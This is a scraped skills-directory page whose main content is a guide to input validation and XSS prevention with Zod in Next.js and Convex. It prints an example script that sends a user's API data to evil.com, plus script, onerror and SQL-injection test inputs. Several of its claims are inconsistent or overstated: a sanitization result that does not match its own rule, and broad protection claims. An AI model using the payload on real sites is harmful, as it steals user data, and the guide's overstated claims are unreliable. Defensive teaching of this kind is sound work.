supabase
Handles the full Supabase workflow from schema changes to deployment, with built-in security guardrails that catch common traps like RLS...
input-validation-xss-prevention
Validate and sanitize user input to prevent XSS, injection attacks, and ensure data quality. Use this skill when you need to validate forms, sanitize user input, prevent cross-site scripting, use Zod schemas, or handle any user-generated content. Triggers include "input validation", "validate inp...
Full skill instructions
Never trust user input. This is the foundational principle of web security.
Every major breach can be traced back to input validation failures:
According to OWASP, injection vulnerabilities are consistently the #1 or #2 threat to web applications. Input validation is not optional—it's existential.
Attacker enters in a bio field:
<script>
fetch('/api/user')
.then(r=>r.json())
.then(d=>fetch('https://evil.com',{
method:'POST',
body:JSON.stringify(d)
}))
</script>
Without sanitization, when other users view this profile:
British Airways (2018): XSS vulnerability allowed attackers to inject payment card harvesting script. 380,000 transactions compromised. £20 million fine under GDPR.
MySpace Samy Worm (2005): XSS vulnerability allowed a self-propagating script that added the attacker as a friend to over 1 million profiles in 20 hours. While mostly harmless (just adding friends), it demonstrated the potential: the same technique could have stolen credentials or payment data.
Traditional validation uses regular expressions and manual checks—error-prone and often incomplete.
Zod provides:
We remove dangerous characters that enable XSS attacks:
< - Prevents opening tags> - Prevents closing tags" - Prevents attribute injection& - Prevents HTML entity injectionPreserved:
' - Apostrophes (for names like O'Neal, D'Angelo, McDonald's)Why not remove all special characters? Because then users named "O'Neal" can't enter their names. Security must balance safety with usability.
According to OWASP and NIST guidelines, the secure approach is:
We do all three:
.transform() sanitizeslib/validation.ts - 11 pre-built Zod schemaslib/validateRequest.ts - Validation helper that formats errorsimport { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema } from '@/lib/validation';
async function handler(request: NextRequest) {
const body = await request.json();
// Validate and sanitize
const validation = validateRequest(safeTextSchema, body);
if (!validation.success) {
return validation.response; // Returns 400 with field errors
}
// TypeScript knows exact shape, data is XSS-sanitized
const sanitizedData = validation.data;
// Safe to use
}
// app/api/create-post/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withRateLimit } from '@/lib/withRateLimit';
import { withCsrf } from '@/lib/withCsrf';
import { validateRequest } from '@/lib/validateRequest';
import { createPostSchema } from '@/lib/validation';
import { handleApiError, handleUnauthorizedError } from '@/lib/errorHandler';
import { auth } from '@clerk/nextjs/server';
async function createPostHandler(request: NextRequest) {
try {
// Authentication
const { userId } = await auth();
if (!userId) return handleUnauthorizedError();
const body = await request.json();
// Validation & Sanitization
const validation = validateRequest(createPostSchema, body);
if (!validation.success) {
return validation.response;
}
const { title, content, tags } = validation.data;
// Data is now:
// - Type-safe (TypeScript validated)
// - Sanitized (XSS characters removed)
// - Validated (length, format checked)
// Safe to store in database
await db.posts.insert({
title,
content,
tags,
userId,
createdAt: Date.now()
});
return NextResponse.json({ success: true });
} catch (error) {
return handleApiError(error, 'create-post');
}
}
export const POST = withRateLimit(withCsrf(createPostHandler));
export const config = {
runtime: 'nodejs',
};
All schemas are in lib/validation.ts:
Use for: Email addresses
import { emailSchema } from '@/lib/validation';
const validation = validateRequest(emailSchema, userEmail);
if (!validation.success) return validation.response;
const email = validation.data; // Normalized, lowercase
Features:
Use for: Short text fields (names, titles, subjects)
import { safeTextSchema } from '@/lib/validation';
const validation = validateRequest(safeTextSchema, inputText);
Features:
< > " &' (apostrophes)Use for: Long text (descriptions, bios, comments, messages)
import { safeLongTextSchema } from '@/lib/validation';
const validation = validateRequest(safeLongTextSchema, description);
Features:
Use for: Usernames, slugs, identifiers
import { usernameSchema } from '@/lib/validation';
const validation = validateRequest(usernameSchema, username);
Features:
Use for: Website URLs, link fields
import { urlSchema } from '@/lib/validation';
const validation = validateRequest(urlSchema, websiteUrl);
Features:
Use for: Complete contact forms
import { contactFormSchema } from '@/lib/validation';
const validation = validateRequest(contactFormSchema, formData);
if (!validation.success) return validation.response;
const { name, email, subject, message } = validation.data;
Fields:
{
name: string, // safeTextSchema (1-100 chars)
email: string, // emailSchema
subject: string, // safeTextSchema (1-100 chars)
message: string // safeLongTextSchema (1-5000 chars)
}
Use for: User-generated blog posts, articles
import { createPostSchema } from '@/lib/validation';
const validation = validateRequest(createPostSchema, postData);
if (!validation.success) return validation.response;
const { title, content, tags } = validation.data;
Fields:
{
title: string, // safeTextSchema (1-100 chars)
content: string, // safeLongTextSchema (1-5000 chars)
tags: string[] | null // Array of safeText strings (optional)
}
Use for: Profile updates
import { updateProfileSchema } from '@/lib/validation';
const validation = validateRequest(updateProfileSchema, profileData);
if (!validation.success) return validation.response;
const { displayName, bio, website } = validation.data;
Fields:
{
displayName: string | null, // safeTextSchema (optional)
bio: string | null, // safeLongTextSchema (optional)
website: string | null // urlSchema (optional, HTTPS only)
}
Use for: Database IDs, reference fields
import { idSchema } from '@/lib/validation';
const validation = validateRequest(idSchema, itemId);
Features:
Use for: Counts, quantities, pagination
import { positiveIntegerSchema } from '@/lib/validation';
const validation = validateRequest(positiveIntegerSchema, quantity);
Features:
Use for: Pagination parameters
import { paginationSchema } from '@/lib/validation';
const validation = validateRequest(paginationSchema, {
page: queryParams.page,
limit: queryParams.limit
});
const { page, limit } = validation.data;
Fields:
{
page: number, // Default: 1, Min: 1
limit: number // Default: 10, Min: 1, Max: 100
}
// lib/validation.ts
import { z } from 'zod';
// Add your custom schema
export const myCustomSchema = z.object({
field: z.string()
.min(1, 'Required')
.max(200, 'Too long')
.trim()
.transform((val) => val.replace(/[<>"&]/g, '')), // XSS sanitization
});
export type MyCustomData = z.infer<typeof myCustomSchema>;
// Registration form with multiple validations
export const registrationSchema = z.object({
username: usernameSchema,
email: emailSchema,
password: z.string()
.min(12, 'Password must be at least 12 characters')
.regex(/[A-Z]/, 'Must contain uppercase letter')
.regex(/[a-z]/, 'Must contain lowercase letter')
.regex(/[0-9]/, 'Must contain number')
.regex(/[^A-Za-z0-9]/, 'Must contain special character'),
passwordConfirm: z.string(),
agreeToTerms: z.boolean().refine(val => val === true, {
message: 'You must agree to terms'
})
}).refine((data) => data.password === data.passwordConfirm, {
message: "Passwords don't match",
path: ["passwordConfirm"]
});
export const orderSchema = z.object({
orderType: z.enum(['pickup', 'delivery']),
address: z.string().optional(),
phone: z.string().optional()
}).refine(
(data) => {
if (data.orderType === 'delivery') {
return !!data.address && !!data.phone;
}
return true;
},
{
message: 'Address and phone required for delivery',
path: ['address']
}
);
'use client';
import { useState } from 'react';
import { createPostSchema } from '@/lib/validation';
export function CreatePostForm() {
const [errors, setErrors] = useState<Record<string, string>>({});
async function handleSubmit(e: React.FormEvent<HTMLFormElement>) {
e.preventDefault();
setErrors({});
const formData = new FormData(e.currentTarget);
const data = {
title: formData.get('title'),
content: formData.get('content'),
tags: formData.get('tags')?.toString().split(',').filter(Boolean) || null
};
// Client-side validation (UX improvement, not security)
const validation = createPostSchema.safeParse(data);
if (!validation.success) {
const fieldErrors: Record<string, string> = {};
validation.error.errors.forEach((err) => {
if (err.path[0]) {
fieldErrors[err.path[0].toString()] = err.message;
}
});
setErrors(fieldErrors);
return;
}
// Submit to server (server validates again!)
try {
const response = await fetch('/api/posts', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(validation.data)
});
if (response.ok) {
alert('Post created!');
}
} catch (error) {
console.error('Error:', error);
}
}
return (
<form onSubmit={handleSubmit}>
<div>
<input name="title" placeholder="Title" />
{errors.title && <span className="error">{errors.title}</span>}
</div>
<div>
<textarea name="content" placeholder="Content" />
{errors.content && <span className="error">{errors.content}</span>}
</div>
<div>
<input name="tags" placeholder="Tags (comma separated)" />
{errors.tags && <span className="error">{errors.tags}</span>}
</div>
<button type="submit">Create Post</button>
</form>
);
}
Important: Client-side validation is for UX only. Always validate on the server - client-side validation can be bypassed.
Attack:
POST /api/comment
{
"content": "<script>alert(document.cookie)</script>"
}
Protection:
const validation = validateRequest(safeLongTextSchema, body);
// Result: content = "alert(document.cookie)"
// < and > removed, script harmless
Attack:
POST /api/search
{
"query": "'; DROP TABLE users; --"
}
Protection:
const validation = validateRequest(safeTextSchema, body);
// Result: query = "'; DROP TABLE users; --"
// Still contains SQL, but parameterized queries prevent execution
// Additionally, input length limited, special chars sanitized
Note: Use parameterized queries in database layer for full SQL injection protection.
Attack:
POST /api/profile
{
"bio": "A".repeat(1000000) // 1 million characters
}
Protection:
const validation = validateRequest(updateProfileSchema, body);
// Result: Validation fails
// Error: "Bio must be at most 5000 characters"
// HTTP 400 returned before processing
Attack:
POST /api/contact
{
"name": "<script>evil()</script>",
"email": "[email protected]",
"subject": "<img src=x onerror=alert(1)>",
"message": "Normal message"
}
Protection:
const validation = validateRequest(contactFormSchema, body);
// Results:
// name: "evil()"
// email: "[email protected]"
// subject: ""
// message: "Normal message"
// All dangerous tags removed automatically
# Test XSS in title
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: <get-from-/api/csrf>" \
-d '{"title": "<script>alert(1)</script>"}'
# Expected: 200 OK, but title = "alert(1)"
# Test too-long input
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: <get-from-/api/csrf>" \
-d "{\"title\": \"$(printf 'A%.0s' {1..200})\"}"
# Expected: 400 Bad Request
# {
# "error": "Validation failed",
# "details": {
# "title": "String must contain at most 100 character(s)"
# }
# }
# Test invalid email
curl -X POST http://localhost:3000/api/contact \
-H "Content-Type: application/json" \
-d '{
"name": "Test",
"email": "not-an-email",
"subject": "Test",
"message": "Test"
}'
# Expected: 400 Bad Request
# { "error": "Validation failed", "details": { "email": "Invalid email" } }
When validation fails, validateRequest() returns:
{
error: "Validation failed",
details: {
fieldName: "Error message",
anotherField: "Another error"
}
}
HTTP Status: 400 Bad Request
const schema = z.object({
required: safeTextSchema,
optional: safeTextSchema.optional(),
nullable: safeTextSchema.nullable(),
optionalWithDefault: safeTextSchema.default('default value')
});
const schema = z.object({
tags: z.array(safeTextSchema).max(10, 'Maximum 10 tags'),
categories: z.array(z.string()).min(1, 'At least one category required')
});
const schema = z.object({
status: z.enum(['draft', 'published', 'archived']),
priority: z.enum(['low', 'medium', 'high'])
});
const schema = z.object({
age: z.number().int().min(18).max(120),
rating: z.number().min(1).max(5),
price: z.number().positive()
});
const schema = z.object({
birthdate: z.string().datetime(),
appointmentDate: z.string().datetime()
.refine((date) => new Date(date) > new Date(), {
message: 'Appointment must be in the future'
})
});
When using Convex, always validate inputs in mutations - never insert args directly into the database.
// convex/posts.ts
import { mutation } from "./_generated/server";
import { createPostSchema } from "../lib/validation";
export const createPost = mutation({
handler: async (ctx, args) => {
// Validate with Zod
const validation = createPostSchema.safeParse(args);
if (!validation.success) {
throw new Error("Invalid input: " + validation.error.message);
}
// Use sanitized data
const { title, content, tags } = validation.data;
await ctx.db.insert("posts", {
title,
content,
tags,
userId: ctx.auth.userId,
createdAt: Date.now()
});
}
});
// convex/items.ts
import { mutation } from "./_generated/server";
import { safeTextSchema, safeLongTextSchema } from "../lib/validation";
export const createItem = mutation({
handler: async (ctx, args) => {
// Validate each field with appropriate schema
const titleValidation = safeTextSchema.safeParse(args.title);
const descValidation = safeLongTextSchema.safeParse(args.description);
if (!titleValidation.success || !descValidation.success) {
throw new Error("Invalid input");
}
// Use sanitized data
await ctx.db.insert("items", {
title: titleValidation.data,
description: descValidation.data,
userId: ctx.auth.userId, // From Clerk authentication
createdAt: Date.now()
});
}
});
// ❌ BAD - Direct insertion without validation
export const createItem = mutation({
handler: async (ctx, args) => {
// VULNERABLE: args inserted directly without validation
await ctx.db.insert("items", args);
}
});
// ✅ GOOD - Validated and sanitized
export const createItem = mutation({
handler: async (ctx, args) => {
const validation = createItemSchema.safeParse(args);
if (!validation.success) {
throw new Error("Invalid input");
}
await ctx.db.insert("items", {
title: validation.data.title,
description: validation.data.description,
userId: ctx.auth.userId,
createdAt: Date.now()
});
}
});
✅ Cross-site scripting (XSS) - Main protection ✅ SQL/NoSQL injection - Length limits + sanitization ✅ Command injection - Removes dangerous characters ✅ Template injection - Sanitizes template syntax ✅ Path traversal - Validates paths, removes ../ ✅ Buffer overflow - Enforces length limits ✅ Type confusion - Enforces correct data types ✅ Business logic errors - Validates ranges, formats
❌ DON'T skip validation "because it's an internal API"
❌ DON'T rely on client-side validation only
❌ DON'T use body.field directly without validation
❌ DON'T manually sanitize with .replace() - use Zod
❌ DON'T assume authentication = safe input
❌ DON'T forget to validate in Convex mutations
✅ DO validate ALL user input, even from authenticated users ✅ DO use pre-built schemas from lib/validation.ts ✅ DO return detailed validation errors (helps UX) ✅ DO combine validation with rate limiting and CSRF ✅ DO validate in both API routes AND Convex mutations
csrf-protection skillrate-limiting skillerror-handling skillsecurity-testing skillHandles the full Supabase workflow from schema changes to deployment, with built-in security guardrails that catch common traps like RLS...
Comprehensive guides and best practices for Neon Serverless Postgres, covering setup, connection methods, authentication, and platform APIs.
Guide for setting up and using Firebase Authentication. Use this skill when the user's app requires user sign-in, user management, or secure data access using auth rules.
A skill to evaluate how secure Firestore security rules are. Use this when Firestore security rules are updated to ensure that the generated rules are extremely secure and robust.
Official skill for integrating Firebase AI Logic (Gemini API) into web applications. Covers setup, multimodal inference, structured output, and security.
Complete Better Auth server and client setup with database adapters, session management, plugins, and security configuration.
Deploy and manage projects on Vercel using token-based authentication. Use when working with Vercel CLI using access tokens rather than interactive login — e.g. "deploy to vercel", "set up vercel", "add environment variables to vercel".
Complete Cloudflare platform integration with decision trees for compute, storage, AI, networking, security, and infrastructure-as-code.
Run Azure compliance and security audits with azqr plus Key Vault expiration checks. Covers best-practice assessment, resource review, policy/compliance validation, and security posture checks. WHEN: compliance scan, security audit, BEFORE running azqr (compliance cli tool), Azure best practices, Key Vault expiration check, expired certificates, expiring secrets, orphaned resources, compliance assessment.
Send, read, and manage Gmail messages, drafts, labels, and account settings.
Comprehensive website auditing across 230+ rules in 21 categories including SEO, performance, security, and accessibility.
Shared authentication, CLI syntax, and output formatting patterns for gws Google Workspace commands.
Discover your celebrity doppelgänger with StarByFace!
GeoSpy: Pricing, Features, FAQs, and Alternatives for AI Teams
Detect AI-generated voices to protect against audio fraud.
Ensure Your Content's Originality with AI Plagiarism Checker
Upscale images by 400% without quality loss
Protect your social media from copyright disputes
Accurately Detect AI-Generated Content with TheChecker.AI
Chrome extension that detects and flags AI-generated content